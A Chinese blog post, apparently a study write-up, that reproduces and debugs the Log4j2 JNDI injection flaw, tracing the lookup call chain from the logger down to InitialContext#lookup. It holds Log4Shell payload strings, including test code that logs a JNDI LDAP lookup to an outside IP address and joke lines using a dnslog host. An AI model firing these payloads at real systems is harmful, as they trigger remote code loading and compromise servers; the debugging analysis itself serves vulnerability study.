ch4ser||超元域

(´・ω・`)你瞅啥呢

0%

log4j2 jndi 漏洞学习和调试

明天安全圈校招面试:
面试官: 请说说你会什么技能?
我: ${jndi:ldap://xxx.dnslog.cn/exp}
面试官: 请说说你最近关注过的漏洞?
我: ${jndi:ldap://xxx.dnslog.cn/exp}
面试官: 你平时有动手调试过吗?
我: ${jndi:ldap://xxx.dnslog.cn/exp}
我:这dnslog是不是卡了 这面试官怎么还没rce

环境搭建

新建maven项目, pom.xml写入

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
  1. 在官网 https://archive.apache.org/dist/logging/log4j/ 下载log4j然后在project structure中导入

  1. 下载低版本java8 https://repo.huaweicloud.com/java/jdk/ 我下载的是8u181,将其作为java运行环境

写测试代码

1
2
3
4
5
6
7
8
9
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args){
logger.error("${jndi:ldap://39.105.176.37:1389/smzifq}");
}
}

漏洞调试

调试进入

image-20211211152434057

调试到
image-20211211152611862

然后调试到MessagePatternConverter#format方法, 看到这里会试图匹配${字符.并将payload字符串解析到变量value中去.

image-20211211152039629

步进replace函数, 再步进substitute函数
image-20211211152218136

进入下一个substitute中会看到它会匹配结尾的}

再往下就可以看到resolveVariable方法被调用, 里面调用了lookup方法

image-20211211152245317

lookup方法中,会试图寻找:,并将:前面的部分作为prefix, 随后根据prefix来寻找类

可以看到这里规定了不同的prefix对应的类

image-20211211150105597

使用的Jndi,所以使用的是JndiLookup类,调用了JndiLookup#lookup方法,并将:后面的部分作为参数传入.

image-20211211150131696

最后调用到了javax.naming.InitialContext#lookup方法,server端收到请求

漏洞利用

普通的jndi注入就可以了

参考

https://www.anquanke.com/post/id/262668#h3-5